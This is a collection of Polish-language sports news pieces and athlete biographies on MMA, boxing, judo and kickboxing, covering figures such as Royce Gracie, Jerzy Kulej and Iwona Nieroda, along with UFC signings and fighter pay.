Brazylijski zawodnik Brazylijskiego Jiu Jitsu oraz MMA. Urodził się 12 grudnia 1966 roku w Rio de Janeiro. Royce Gracie jest synem Helio Graciego, inicjatora Gracie Jiu Jitsu dzisiaj bardziej znanego pod nazwą Brazylijskiego Jiu Jitsu. Jako dziecko uczył się BJJ wraz ze swoimi braćmi. W wieku 8 lat zaczął startować w zawodach na terenie Brazylii, a w wieku 16 lat nadano mu niebieski pas. Rok później został zaproszony przez swojego przyrodniego brata Roriona do Stanów Zjednoczonych by ten pomógł mu nauczać BJJ w jego nowo założonym klubie. Royce mimo braku znajomości języka angielskiego zgodził się i zamieszkał w Kalifornii. W tamtych latach startował w turniejach jiu-jitsu w USA i Brazyli, gdzie osiągnął bilans 53 zwycięstw i 3 porażek. Czarny pas BJJ otrzymał w wieku 18 lat. W roku 1993 powstał turniej zwany Ultimate Fighting Championship. Royce Gracie wygrał caly turniej pokonując trzech rywali. Później dwukrotnie powtórzył ten sukces wygrywając na UFC 2 i UFC 4 gdzie pokonał wszystkich swoich rywali przez poddanie. W swojej karierze występował dla takich organizacji jak UFC, PRIDE FC, HERO’S. W 2000 roku stoczył przegrany pojedynek z Kazushim Sakurabą. Walka trwała równe 90 minut i jest uznawana za najdłuższą walkę MMA na świecie. Royce Gracie jest członkiem UFC Hall of Fame.
Polska zawodniczka Kick-Boxingu urodzona 6 lutego 1985 roku w Skarżysko Kamiennej. Swoją przygodę z kick-boxingiem rozpoczęła w 2001 roku po namowie koleżanki, z którą w podstawówce trenowała karate. Na treningi kick-boxingu trafiła do ursynowskiej sekcji K.S Piaseczno pod skrzydła trenera Piotra Siegoczyńskiego. W amatorskiej karierze stoczyła ponad 300 pojedynków. W zawodowej karierze stoczyła dziewięć pojedynków i wszystkie wygrała.
Największe osiągnięcia Doroty to:
Polski zapaśnik urodzony 8 października 1965 roku w Kartuzach. Andrzej reprezentował barwy klubu GLKS Morena Żukowo w latach 1976-1984, startował w stylu klasycznym w kategorii ciężkiej. Podczas Igrzysk Olimpijskich w Seulu w roku 1988 zdobył złoty medal pokonując w walce finałowej reprezentanta RFN Gerharda Himmelema. 1992 roku na Olimpiadzie w Barcelonie zajął czwarte miejsce. W 1996 roku na Igrzyskach w Atlancie powtórzył swój sukces z Seulu i po raz drugi w karierze zdobył Olimpijskie złoto. Oprócz zdobytych złotych medali Igrzysk Olimpijskich Andrzej Wroński ma na swoim koncie wiele sukcesów na arenie Międzynarodowej.
Oto kilka z nich:
Od września 2008 roku jako instruktor zapasów prowadzi zajęcia w ramach MMA w klubie Akademia Sarmatia w Gdańsku. 20 sierpnia 2011 roku podczas gali „ Wieczór Mistrzów” stoczył pierwszą walkę w formule MMA. Jego rywalem był Paweł Nastula. Andrzej Wroński przegrał ten pojedynek. Za wybitne osiągnięcia sportowe został odznaczony Orderem Odrodzenia Polski: Krzyżem Kawalerskim w 1988 roku, Krzyżem Oficerskim 1995 roku oraz Krzyżem Komandorskim 1996 rok.
O ekspansji najczęściej mówi się w kontekście wojen, zmian terytorialnych, rozwoju gospodarczego czy technologicznego. UFC dba o swoją markę i wizerunek, dlatego chce mieć u siebie najlepszych fighterów z każdej części świata. Na celowniku znaleźli się Czeczeni: Bislan Isaev i Musa Khamanev.
Mówiąc językiem czysto futbolowym – transfer zawodników do UFC jest już praktycznie zaklepany. Isaev i Khamanev od dłuższego czasu byli obiektami pożądania organizacji braci Fertitta. Czeczeni kontrakty z UFC mają podpisać w lutym. Dla jednego z nich będzie to miły akcent i ukoronowanie bogatej kariery, dla drugiego szansa na zdobycie szczytu.
Bislan Isaev to doświadczony, 31-letni fighter, który w UFC dostanie szansę zaprezentowania swoich wysokich umiejętności. Czeczen jest jednym z najmocniejszych zawodników w rosyjskiej kategorii półśredniej. Ostatnio walczył dla organizacji Absolute Championship Berkut, długo związany był z ProFC. Isaev to zawodnik o ogromnej sile i wielkim potencjale. 31-latek ma na rozkładzie takiego tuza mieszanych sztuk walki jak Alexander Shlemenko. W swojej ostatniej walce z kwitkiem odprawił byłego gwiazdora UFC Cody’ego McKenziego . W organizacji braci Fertitta Czeczen będzie walczył w jednej z dwóch kategorii wagowych: w półśredniej bądź lekkiej.
27-letni Musa Khamanaev imponuje umiejętnościami zapaśniczymi, dodatkowo jest bardzo dynamiczny. Obecnie jest wolnym zawodnikiem, po tym jak nie przedłużył umowy z M-1. Przez dwa lata był posiadaczem mistrzowskiego pasa rosyjskiej organizacji w wadze lekkiej. Khamanaev w swojej karierze pokonał takich rywali jak fenomenalny niemiecki fighter Daniel Weichel, dobrze znanego polskiej publiczności Nikko Puhakkę, Eric Reynolds czy Władimir Nikołajew. 27-letni Czeczen obecnie trenuje indywidualnie i oczekuje na podpisanie kontraktu z UFC.
Amerykańska organizacja kontynuuje swoją ekspansję na tereny postsowieckie. Ciekawostką jest, że UFC odkłada podpisanie umowy z Khamanaevem z powodu zbyt licznej reprezentacji zawodników ze Wschodu w składzie personalnym organizacji. W wadze półśredniej, która jest domeną Isaeva, znajdują się: Omari Akhmedov, Sultan Aliev, Adlan Amagov, Albert Tumenov, Gasan Umalatov, Adam Khaliev i Alexander Yakovlev. Z kolei Khabib Nurmagomedov, Rashid Magomedov, Rustam Khabilov, Mairbek Taisumov to zawodnicy walczący w kategorii lekkiej. Reprezentacja zawodników z terenów postsowieckich obecnie jest pokaźna. UFC stawia na fighterów ze Wschodu, którzy mają wzmocnić organizację. Przede wszystkim są to mocni zawodnicy, którzy nie unikają walki i są gotowi na ostrą rywalizację. Czy Isaev i Khamanaev wzmocnią UFC i staną się nowymi gwiazdami?
Dlaczego UFC stawia na zawodników ze Wschodu? Gdyż są to fighterzy gotowi do walki i rywalizacji na wysokim poziomie, z pełnym przygotowaniem technicznym. Na Wschodzie sporty walki to niemalże religia. UFC wybiera produkty wysokiej marki, czym wzmacnia swoją wartość. Dla Isaeva i Khamanaeva to zawodowy awans, dla UFC dobry interes. Patrząc na zwiększającą się kolonię czeczeńskich fighterów warto zastanowić się nad tym, czy polski zaciąg w najlepszej organizacji mieszanych sztuk walki powiększy się? Ekspansja UFC na wschód trwa.
KM
W sobotę 20 grudnia czekają nas emocje związane z Klubowymi Mistrzostwami Europy w judo Hoofddorp. Po raz pierwszy odbędzie się rywalizacja Złotej Ligi, która będzie miała miejsce w Samarze.
W KME miał wystąpić Maciej Sarnacki. Polski judoka został zgłoszony do rywalizacji przez austriacki Volksbank Galaxy Judo Tigers Wiedeń, jednakże popularny „Sarna” zrezygnował z udziału w zawodach. Sarnacki skupia się teraz na wyleczeniu kontuzjowanego kolana. Wśród mężczyzn nie zobaczymy żadnego z naszych reprezentantów, jednak mamy jedną „rodzynkę”. W turnieju wystąpi Agata Ozdoba. Nasza judoczka będzie walczyła w barwach Istanbul BBSK.
Polka w tym roku startowała już w barwach tureckiego klubu. Ozdoba wzięła udział w zawodach tamtejszej ligi w starciu z Galatasaray Stambuł. Nasza reprezentantka w kategorii 63 kg rywalizowała z zawodniczką z Kosowa Norą Gjakową. Pojedynek nie został rozstrzygnięty , gdyż walka zakończyła się remisem i nie było dogrywki.
Reprezentantka Polski ma za sobą bardzo udany okres po powrocie na tatami. Swego czasu Ozdoba poważnie myślała o zakończeniu kariery sportowej, jednak po licznych namowach zdecydowała się kontynuować swoją przygodę z judo. Na mistrzostwach Europy w Montepellier zaliczyła bardzo dobry występ, który zakończył się zdobyczą medalową w postaci brązowego krążka. Podczas mistrzostw świata w Czelabińsku Ozdoba, wraz z koleżankami, wywalczyła 5. miejsce w rywalizacji drużynowej. Rozkochana we Francji zawodniczka jest jedną z tych judoczek, która wpływa na poziom naszej reprezentacji. Warto podkreślić, że mamy bardzo silną drużynę, a Ozdoba jest jej istotnym ogniwem. Na jej umiejętności i talent obojetny nie pozostał BBSK, który widzi ją w swoich szeregach podczas takiej imprezy jak mistrzostwa Europy.
Oprócz 26-letniej Polski w składzie BBSK Istanbul znajdują się takie zawodniczki jak: Dilara Lokmanhekim (52 kg) i Gulsah Kocaturk (+78 kg) z Turcji czy Asmaa Niang (70 kg) z Maroka. Ozdoba znalazła się w bardzo ciekawym towarzystwie. Warto podkreślić, że dla naszej judoczki rywalizacja w tureckim klubie nie jest novum, gdyż walczyła już w tamtejszej lidze i zdobyła cenne doświadczenie. Jako jedyna będzie reprezentowała nasz kraj w mistrzowskiej imprezie na poziomie klubowym..
Zapowiada się rywalizacja na najwyższym poziomie. Szkoda, że w zawodach zobaczymy tylko jedną naszą reprezentantkę, jednak warto podkreślić, że Agata Ozdoba ma być silnym ogniwem BBSK Istanbul. Z pewnością, gdyby nie kontuzja to w turnieju udział wziąłby Maciej Sarnacki. Czy Ozdoba sprosta wyzwaniu? Z kim przyjdzie jej rywalizować? Nasza „rodzynka” z pewnością tanio skóry nie sprzeda.
Nowum będzie rywalizacja w Złotej Lidze. W zespole Galatasaray zobaczymy Majlindę Kelmendi. Czy zawodniczka z Kosowa poprowadzi turecki zespół do triumfu? Na tatami zobaczymy najlepszych zawodników, więc emocje są gwarantowane. Warto dodać, że medaliści KME zapewnią sobie udział w przyszłorocznej edycji Złotej Ligi.
KM
Wielka zawodniczka, wielkie dokonania. Nasza reprezentantka w kickboxingu Iwona Nieroda odniosła kolejny wielki sukces. Polka zdobyła w Turcji pas mistrzyni świata WAKO PRO Low Kick w kategorii do 56 kg .
Zawodniczka Diamentu Pstrągowa osiągnęła ogromny sukces – została najlepszą zawodniczką na świecie. Wielkie wyczyn, który należy podkreślić. Dla Nierody to nie pierwsze takie osiągnięcie. W 2013 roku fighterka po raz pierwszy zdobyła mistrzostwo świata. Nieroda w Bułgarii osiągnęła ogromny sukces w swoim pierwszym zawodowym starcie. Wcześniej zawodniczka święciła triumfy na płaszczyźnie amatorskiej – na mistrzostwach Europy WAKO zdobyła złoty medal. Wspaniały występ na mistrzostwach świata w Bułgarii wprowadził naszą zawodniczkę na sam szczyt. W Turcji udowodniła, że wcześniejszy sukces nie był dziełem przypadku.
Co łączy mistrzostwa w Bułgarii i Turcji? Z jednej strony oba kraje łączą silne relacje, które mają podłoże historyczne. Wyraźnie widoczne było to rok temu, kiedy to Nieroda w finale rywalizowała z zawodniczką z Turcji i wygrała 2:1. Rywalka otrzymała głos od sędziego z własnego kraju. Po drugie, Nieroda w finale po raz kolejny spotkała się z tą samą zawodniczką. Seda Duygu Aygun ponownie musiała uznać wyższość Polki. Kolejne podobieństwo między obiema walkami sprowadza się do wyniku rywalizacji. W Turcji Nieroda wygrała w stosunku 2:1, tak jak rok wcześniej w Warnie.
Walka toczyła się na dystansie pięciu rund po trzy minuty. Decyzją arbitrów Nieroda po raz drugi mogła cieszyć się ze zdobycia pasa mistrzyni świata WAKO PRO Low kick w kategorii do 56 kg. Obie zawodniczki bez problemu zmieściły się w limicie wagowym. Wokół pojedynku pojawiły się komplikacje natury technicznej. Początkowo runda miała trwać dwie minuty, jednak po licznych dyskusjach ustalono czas trwania jednej odsłony na trzy minuty. Z pewnością zamieszanie wokół tej kwestii dostarczyło zawodniczkom niepotrzebnych emocji, jednakże sytuację lepiej wytrzymała Polka.
Nieroda niejako była faworytką rywalizacji. Po pierwsze, ze względu na przewagę psychologiczną, gdyż już raz pokonała Aygun. Po drugie, dlatego że to ona dzierżyła w dłoniach mistrzowski pas. Aygun z pewnością liczyła na rewanż, jednak ta sztuka nie udała się. Turczynka po raz drugi musi pogodzić się z porażką w finałowej walce o mistrzostwo świata. Z kolei Nieroda w sposób zdecydowany zaznaczyła swoją dominację w swojej kategorii wagowej. Po bogatej karierze amatorskiej bardzo dobrze prezentuje się w zawodowstwie.
Iwona Nieroda mistrzynią świata WAKO PRO Low Kick w kategorii do 56 kg. Kilka dni wcześniej w Zgorzelcu Wojciech Wierzbicki wywalczył zawodowe mistrzostwo Europy WAKO-PRO Low-Kick kat-75 kg. Tym samym kolejny ogromny sukces polskiego kickboxingu. Potwierdza się, że nasi reprezentanci prezentują ponadprzeciętne umiejętności i są gwiazdami tej dyscypliny sportu. Wystarczy wspomnieć bardzo dobre starty na mistrzostwach w Bilbao i Mariborze. Sukcesy Nierody i Wierzbickiego bardzo cieszą, gdyż są to sukcesy odniesione na polu sportu zawodowego. Szczególne uznanie dla naszej reprezentantki, która po raz kolejny sięgnęła po tytuł.
KM
Światowa Federacja Judo ogłosiła najlepszych zawodników w tym roku w oparciu o prowadzony ranking. Wśród kobiet w 2014 roku królowała Majlinda Kelmendi, u panów na pierwszym miejscu znalazł się Awtandil Czrikiszwili z Gruzji.
Lista rankingowa IJF World Prestige obejmuje wszystkie kategorie wagowe. Kelmedi i Czrikszwili zdobyli najwięcej punktów i triumfowali. Warto podkreślić, że judocy zostali wyróżnieni również za wybitne osiągnięcia sportowe w 2014 roku. Na konto reprezentantki Kosowa i zawodnika z Gruzji wpłynie po pięćdziesiąt tysięcy dolarów.
Historia Kelmendi jest bardzo ciekawa, gdyż judoczka nie mogła startować pod flagą Kosowa, ponieważ nie było zrzeszone w Europejskiej Federacji Judo. W związku z tym zawodniczka występowała jako reprezentantka EJU. W 2013 roku w Budapeszcie sięgnęła po brązowy medal mistrzostw Europy. Na Igrzyskach Olimpijskich w Londynie startowała pod flagą Albanii i zajęła dziewiątą pozycję. Życiowy sukces, który pokazał pełnię jej talentu i wielkie umiejętności miał miejsce w 2013 roku. W Rio de Janeiro podczas mistrzostw świata w Rio de Janeiro Majlinda Kelmendi sięgnęła po złoty medal. W finale pokonała zawodniczkę gospodarzy Erikę Mirandę. Dwukrotna mistrzyni świata jest jedną z faworytek do triumfu podczas Igrzysk Olimpijskich w Rio de Janeiro. Kelmendi w 2014 roku potwierdziła swoją klasę, czego najlepszym dowodem jest jej zwycięstwo w rankingu IJF.
33-letni Czrikiszwili to bardzo doświadczony judoka, który startuje w kategorii wagowej 81 kg. W swoje karierze uczestniczył w Igrzyskach Olimpijskich, mistrzostwach świata i Europy. W 2013 roku sięgnął po złoto podczas turnieju prymat na Starym Kontynencie. Podczas mistrzostw świata wywalczył srebrny medal. Rok 2013 pozytywnie wpłynął na Gruzina, który w tym sezonie potwierdził klasę i kolejnymi występami zdobywał punkty do rankingu IJF.
Kelmendi i Czrikiszwili okazali się najlepsi w rankingu, ale Światowa Federacja doceniła i nagrodziła także innych judoków. Teddy Riner to ikona judo. Francuz po raz siódmy w swojej karierze sięgnął po tytuł mistrza świata. Włodarze federacji docenili zasługi Rinera dla popularyzacji judo na świecie i przyznali mu nagrodę w wysokości czterdziestu tysięcy dolarów. Również Ilias Iliadis został wyróżniony. Za wybitne osiągnięcia sportowe i wkład w popularyzację judo Światowa Federacja przyznała mu nagrodę pieniężną w wysokości czterdziestu tysięcy dolarów.
Wyróżniono także najlepszych w tym roku w poszczególnych kategoriach wagowych. Nagrody w wysokości dziesięciu tysięcy dolarów otrzymali: Munkhbat Urantsetseg, Automne Pavia, Clarisse Agbegnenou, Kim Polling, Audrey Tcheuméo, Idalys Ortíz, Ganbat Boldbaatar, Michaił Pulyaev, Dex Elmont, Warlam Liparteliani, Lukas Krpálek.
Nagrody przyznane. Kelmendi i Czrikiszwili okazali się najlepsi. Doceniono wkład Rinera i Iliadisa w popularyzację judo. To bardzo dobre posunięcie, gdyż należy dbać o legendy i ikony. Warto w należyty sposób na podstawie ich historii budować wizerunek dyscypliny. Bo tak naprawdę liczy się człowiek. A w judo jest to widoczne. Czy Kelmendi i Czrikiszwili utrzymają dobrą dyspozycję do Rio? O Rinera Francuzi raczej są spokojni.
KM
W boksie dużo się mówi. Chcesz być na szczycie – musisz o to walczyć. Reklama dźwignią handlu, musisz dobrze się sprzedać. Marketing to podstawa sukcesu. Wie o tym Amir Khan, który głośno mówi o swoich planach.
Brytyjczyk nie ustaje w dążeniu do spełnienia się w boksie i osiągnięcia sukcesu. Głośno wypowiada swoje zdanie oraz prezentuje ogromną pewność siebie. Czy to dobra droga do sukcesu?
Dla wielu pięściarzy sukces kojarzy się z Floydem Mayweatherem Jr. W sensie dosłownym. Mayweather to marka, pieniądze i wielkie uznanie. Każdy chce wejść z nim do ringu, aby zaświecić choćby na chwilę. Wydaje się, że obecnie najbliżej tego jest Manny Pacquiao, który i tak jest ikoną boksu. O pojedynku z Moneyem marzy również Amir Khan. Posiadacz pasa WBC silver w wadze półśredniej w ostatnim pojedynku pokonał Devona Alexandra i jego kolejnym celem stał się Mayweather. – Naprawdę wierzę, ze zasłużyłem na walkę z najlepszym pięściarzem świata Floydem Mayweatherem Jr. Uważam, że walka Khan vs Mayweather byłby wielkim wydarzeniem w Wielkiej Brytanii, a mając za sobą wsparcie kibiców z pewnością udałoby mi się odebrać mu tytuły mistrza świata – powiedział Khan.
Wielu uważa, że Brytyjczyk nie zasłużył jeszcze na pojedynek z najlepszym bokserem świata. Khan nie jest gotowy na starcia z Mayweatherem. Dlaczego? Główny powód jest prosty: Khan nie osiągnął jeszcze odpowiedniego poziomu. Brytyjczyk ma talent, jednak na obecnym etapie swojej kariery w starciu z Mayweatherem jest bez szans. Khan jest obecny w mediach i bardzo dobrze buduje swój wizerunek, jednak jako bokser jeszcze nie dojrzał do pojedynku z mistrzem federacji WBC i WBA wagi półśredniej. Dla Brytyjczyka nadejdzie jeszcze czas. Oczywiście – teraz może podjąć próbę starcia z Mayweatherem, jednak sportowo stoi na straconej pozycji. Chyba, że chodzi tylko i wyłącznie o aspekt finansowy.
Publiczność liczy na starcie Mayweather – Pacquiao. Co w takiej sytuacji czeka Khana? Wielu widzi go w starciu z Kellem Brookiem, mistrzem świata federacji IBF wagi półśredniej. Ten pojedynek byłby cennym doświadczeniem dla Khana. Rywalizacja z mocnym rywalem, który w świecie boksu wyrobił sobie nazwisko i również ma wysokie ambicje. Khan nie wyklucza pojedynku z Brookiem, ale podkreśla, że ma inne plany. – W przyszłości walka z Kellem Brookiem może się odbyć. Nie chcę powiedzieć przez to, że odmawiam walki z nim, ale w tym momencie mam inne plany i chciałbym spotkać się w ringu z Mayweatherem – powiedział bokser.
W tym, co mówi Khan na pierwszy plan rzuca się ogromna pewność siebie. To jest istotne w boksie, gdyż nie jest to sport dla „głaszczących delikatnie koty”, tylko dla twardych mężczyzn. Facetów gotowych na sukces. Khan z pewnością chce triumfować, ale podkreślanie, że jest lepszy od Mayweathera i pokona go w obecnym stanie rzeczy to bajkopisarstwo. Warto podkreślić, że Brytyjczyk jest bardzo dobrym bokserem, ale musi nadal pracować. Na Mayweathera przyjdzie czas. Teraz lepiej pomyśleć o walce z Brookiem. Choć i także wszyscy myślą o Mayweatherze. Money ma w czym wybierać. Ciekawe, czy się z tego cieszy.
KM
Polski bokser oraz zawodnik mieszanych sztuk walki urodzony 13 marca 1979 roku w Częstochowie. Nosi pseudonim El testosteron. W boksie zawodowym zadebiutował w 2001 roku. W swoich pierwszych trzech walkach odnosił porażki. Pierwsze zwycięstwo odniósł przeciwko Tomaszowi Górskiemu w 2004 roku czym rozpoczął serie 12 wygranych walk z rzędu. Dzięki serii zwycięstw dostał szansę pojedynku z ówczesnym Międzynarodowym Mistrzem Polski wagi ciężkiej Andrzejem Wawrzykiem. Marcin przegrał ten pojedynek przez TKO w drugiej rundzie. Po przegranej z Wawrzykiem, Marcin stoczył trzy wygrane pojedynki. W 2009 roku podpisał kontrakt z KSW. Debiut w mieszanych sztukach walki nastąpił 11 grudnia 2009 roku przeciwko Mariuszowi Pudzianowskiemu. Marcin Najman przegrał tę walkę po 43 sekundach. Kolejne starcie w MMA stoczył 18 września 2010 roku a jego rywalem był Przemysław Saleta. W tym starciu Marcin przegrał przez poddanie w pierwszej rundzie. W kolejnym pojedynku rywalem był kulturysta Rober Burneika. Marcin ten pojedynek przegrał w drugiej rundzie przez TKO.
Marcin Najman jest współzałożycielem grupy promotorskiej NG Promotions. 25 października 2014 roku zorganizował pożegnalną walkę Andrzeja Gołoty.
Polski bokser urodzony 19 października 1940 roku w Częstochowie, zmarł 13 lipca 2012 roku w Warszawie. Karierę bokserską rozpoczął w 1955 roku w Starcie Częstochowa. W 1958 roku zadebiutował w Reprezentacji Polski, której trenerem był Feliks Stamm. W roku 1963 wywalczył złoty medal na Mistrzostwach Europy w Moskwie pokonując obrońcę złotego medalu Aloizsa Tuminsa z ZSRR. Pierwszy złoty medal Olimpijski wywalczył na Olimpiadzie w Tokio w 1964 roku. W finałowej walce pokonał reprezentanta ZSRR Jewgienija Tuminsa. Rok później został po raz kolejny Mistrzem Europy. Na Igrzyskach Olimpijskich w Meksyku, które odbyły się w 1968 roku, Jerzy powtórzył swój sukces z Tokio, i ponownie zdobył złoty medal Olimpijski. W walce finałowej pokonał na punkty Kubańczyka Enrique Regueiferosem. W swojej bogatej karierze Jerzy Kulej stoczył 348 walk z czego 317 wygrał, 6 zremisował i 25 przegrał. W 1968 roku został odznaczony przez Radę Państwa Krzyżem Oficerskim Orderu Odrodzenia Polski. W 1998 roku za wybitne zasługi dla ruchu olimpijskiego, za działalność na rzecz rozwoju i propagowania kultury fizycznej oraz osiągnięcia sportowe został odznaczony przez prezydenta Aleksandra Kwaśniewskiego Krzyżem Komandorskim Orderu Odrodzenia Polski. W 1995 roku otrzymał nagrodę im. Aleksandra Rekszy. W grudniu 2011 roku doznał rozległego zawału serca. Po siedmiu miesiącach zmarł w Mazowieckim szpitalu Bródnowskim. Bezpośrednią przyczyną zgonu była choroba nowotworowa.
W MMA stawia się na widowiskowość, która ma porwać tłumy. Zawodnicy w wielu przypadkach nastawieni są na ostrą rywalizację, gdzie chcą pokazać pełnię swoich umiejętności. Prezentują się efektywnie, aby zachwycić publiczność. Za dodatkowe wrażenia mogą dostać bonusy pieniężne. Ile zawodnik MMA może zarobić na walce?
Pod lupę wzięliśmy jedną z amerykańskich gal, konkretnie UFC – The Ultimate Fighter 20 Finale. Bogata karta walk, w której znalazło się jedenaście pojedynków. Na wstępie zależy zaznaczyć, że nie wszyscy gratyfikowani są tak samo. Ci, którzy są umieszczeni we wstępnej karcie walk mogą liczyć na znacznie mniejsze stawki niż zawodnicy będący w karcie głównej. Mimo wszystko na podstawie gali UFC – The Ultimate Fighter 20 Finale można zaobserwować o jakie pieniądze walczą fighterzy. Wiadomo, że ten sport, na tym poziomie, to ogromne pieniądze ze względu na zaangażowanie mediów, licznych sponsorów, a także liczby zainteresowanych widzów. Nie ma, co ukrywać, iż wszystkie te czynniki wpływają na stopień gaży fighterów.
Na polskim podwórku sytuacja wygląda inaczej. Wiadomo – kwestia skali. Z pewnością gwiazdy zarabiają konkretne pieniądze, jednak w porównaniu z galami UFC czy Bellatora są daleko w tyle. Jednakże jedno warto podkreślić –pieniądze w MMA są. Na poziomie wielkich organizacji są to duże sumy.
Przechodząc do liczb warto podkreślić, że w gażę za walkę nie wchodzą pieniądze płacone przez sponsorów. De facto, zawodnik zarabia na dwóch płaszczyznach – od organizatora za stoczony pojedynek i od sponsora, o ile go posiada. W ten sposób gaża fightera może urosnąć do ogromnych rozmiarów. W tym wszystkim należy również pamiętać o tym, że zawodnik toczy kilka pojedynków w roku, a nie w tygodniu, więc wysokość jego zarobku musi być proporcjonalna do wszystkich czynników, które wpływają na jego funkcjonowanie. Zawodnik MMA w wydaniu amerykańskim jest gwiazdą, jeśli posiada sponsora to na brak gotówki z pewnością narzekać nie może.
Zaczynając od dołu. Angela Hill, która toczyła swój pojedynek w karcie wstępnej Fight Pass pokonała Emily Kagan. Zwyciężczyni zgarnęła do swojej kieszeni szesnaście tysięcy dolarów, przegrana osiem. Wszystkie walki w karcie wstępnej na płaszczyźnie finansowej wyglądały tak samo. Zwycięzca zgarniał osiem tysięcy za walkę i osiem tysięcy za wygraną, przegrany osiem tysięcy za stoczenie pojedynku.
W karcie głównej najniższe stawki miały Jessica Penne i Randa Markos – po osiem tysięcy. Pojedynek wygrała ta pierwsza i zgarnęła dodatkowe osiem tysięcy, jednak walka została uznana za pojedynek wieczoru i panie zarobiły po pięćdziesiąt tysięcy dolarów. Yancy Medeiros za występ wieczoru zarobił pięćdziesiąt tysięcy dolarów, a za samą walkę trzydzieści tysięcy dolarów. Jego przeciwnik Joe Proctor dostał dziesięć tysięcy.
Walka wieczoru w wadze słomkowej Carla Esparza – Rose Namajunas to prawdziwa żyła złota. Dochód Esparzy to pięćdziesiąt tysięcy za walkę i bonus w wysokości kolejnych pięćdziesięciu tysięcy, w tym wypadku dwadzieścia pięć tysięcy dolarów Namajunas wygląda skromnie.
Jak widać na walce w MMA można zarobić. Jeśli fighter zaprezentuje wysoki poziom to może liczyć na pokaźny bonus. Widoczna jest dysproporcja w kwotach podstawowych między kartą wstępną, a kartą główną. Jednakże to także motywacja dla zawodników, aby się rozwijać. Oczywiście, nie pieniądze są w sporcie najważniejsze, ale warto pokazać o jakim poziomie finansowym rozmawiamy. W końcu fighterzy walczą o swoje.
KM
Grupa DSF zorganizowała interesującą i bogatą galę kickboxingu w Ząbkach. W tym samym czasie w Zgorzelcu odbyła się Wielka Zawodowa Gala Kick-Boxingu i K-1. Kolejne ciekawe wydarzenie, które pokazuje, że zapotrzebowanie na kickboxing rośnie.
Głównym punktem wieczoru był pojedynek Wojciecha Wierzbickiego z Włochem Andrea Andrenaccim. Stawką rywalizacji było zawodowe mistrzostwo Europy WAKO-PRO Low-Kick kat-75 kg. Choć Wierzbicki był pretendentem do tytułu to nie przestraszył się mistrza. Walka na dystansie pięciu rund dostarczyła wielu emocji. Andrenacci nie spodziewał się tak ciężkiego pojedynku. Wierzbicki zaskoczył Włocha licznymi kombinacjami bokserskimi, które kończył niskimi kopnięciami. Mistrz Europy nie zamierzał się poddawać i groźnie atakował polskiego fightera. Wierzbicki wytrzymał napór Włocha i konsekwentnie realizował swoją taktykę. Andrenacci narażony na niskie kopnięcia stosowane przez swojego rywala znalazł się w trudnym położeniu. Po zaciętej walce o zwycięstwie decydowali sędziowie. Arbitrzy jednogłośnie ogłosili zwycięstwo polskiego zawodnika. Wojciech Wierzbicki został Zawodowym Mistrzem Europy WAKO-PRO Low-Kick -75 kg.
Polski fighter osiągnął ogromny sukces na polu zawodowym. Pokonał królującego Włocha i teraz w swoich dłoniach dzierży mistrzowski tytuł. Teraz głównym zadaniem Wierzbickiego jest utrzymanie się na szczycie. Dodatkowym smaczkiem jest fakt, iż Wierzbicki zdobył tytuł u siebie, gdyż jest zawodnikiem CSW Kick-Fighter Zgorzelec.
O tytuł międzynarodowego zawodowego mistrza Polski K-1 w kategorii 71 kg zmierzyli się Piotr Biały i Czech Jan Moncol. W pierwszej rundzie zawodnik zza południowej granicy postawił ciężkiej warunki, jednak wraz z upływem czasu dominować zaczął Polak. W drugiej rundzie po ciosie naszego zawodnika Moncol znalazł się na deskach. Czech był liczony jeszcze dwukrotnie i sędziowie nie mogli mieć wątpliwości, co do tego, komu należy się zwycięstwo. Tytuł międzynarodowego zawodowego mistrza Polski K-1 w kategorii 71 kg w rękach Piotra Białego.
W pojedynku o tytuł międzynarodowego zawodowego mistrza Polski K-1 w kategorii 75 kg spotkali się Piotr Formantowicz i Petr Dvorak. Dominacja Polaka nie podlegała dyskusji ani przez chwilę. Niesiony dopingiem zgorzeleckiej publiczności w każdej rundzie doprowadzał doliczenie rywala z Czech. Pewne zwycięstwo Formantowicza. Pas zawodowego Mistrza Polski K-1 -75 kg trafił w ręce Pawła Biszczaka. Zawodnik Olimpu Legnica w pierwszej rundzie rywalizacji z Michałem Ronkiewicz, rozciął rywalowi łuk brwiowy. Fighter z Wrocławia nie był w stanie kontynuować walki.
Emilia Czerwińska okazała się lepsza od Klary Kleczkowskiej w formule pro-am low-kick. Konrad Chałko już w pierwszej rundzie doznał kontuzji stopy i nie mógł kontynuować rywalizacji z Kamilem Kaczmarczykiem.
Najważniejszą informacją Zgorzelskiej gali jest fakt, iż mamy Zawodowego Mistrza Europy WAKO-PRO Low-Kick -75 kg. Wojciech Wierzbicki jednogłośnie pokonał Andreę Andrenaccioniego. Ponadto, w polskich rękach są dwa międzynarodowe tytuły mistrza Polski w K-1.
KM
Smutna i przykra informacja. Hetman Białystok zlikwidował sekcję judo. Klub tnie wydatki i wszędzie szuka oszczędności. Takie rozwiązanie okazało się rozczarowaniem dla rodziców dzieci, które trenowały w klubie.
Hetman buduje nową siedzibę i w związku z tym szuka oszczędności na zrealizowanie zaplanowanej inwestycji. Klub dla sekcji judo wynajmował salę. Po przeanalizowaniu umowy najmu okazało się, że zawiera ona szereg warunków niekorzystnych dla najemcy. W związku z tym faktem włodarze Hetmana starali się szukać najlepszego rozwiązania panującego stanu rzeczy. Negocjacje w sprawie kosztów nie powiodły się, więc klub znalazł salę zastępczą. Kibice i zawodnicy nie byli zadowoleni z takiego rozwiązania, gdyż wiązało się to ze zmianą terminów treningów, a także rodziło dodatkowe utrudnienia. Dzieci w tym czasie były zapisane na inne zajęcia. W nowej sali większość zawodników nie podjęła treningów.
Taka sytuacja sprawiła, że Hetman zdecydował się na zamknięcie sekcji judo. Klub poinformował o swojej decyzji urząd miasta. Hetman musi rozliczyć się z władzami, gdyż miasto przekazało dotację na prowadzenie sekcji. Wszystko wskazuje na to, że do końca judo w Białymstoku pozostało już tylko uregulowanie kwestii formalnych.
Klub na swojej stronie internetowej chwalił się osiągnięciami swoich zawodników, a w obecnej sytuacji dzieci nie mają miejsca, w którym mogłyby rozwijać dalej swoją pasję. Wszystko ze względów finansowych. Finanse w głównej mierze są wykładnią funkcjonowania i stabilności działalności. Klub w oparciu o wyznaczniki nowej inwestycji poszukiwał pola, na którym mógłbym znaleźć oszczędności. Szkoda, że wszystko kosztem rozwoju młodzieży i sportu, w tym przypadku judo. Z pewnością możliwy byłby kompromis między klubem, rodzicami, a także miastem. Urząd miasta dotował sekcję i z pewnością byłby gotowy podjąć działania w celu utrzymania sekcji. Warto podkreślić, że niektórzy są zaskoczeni taką decyzją klubu.
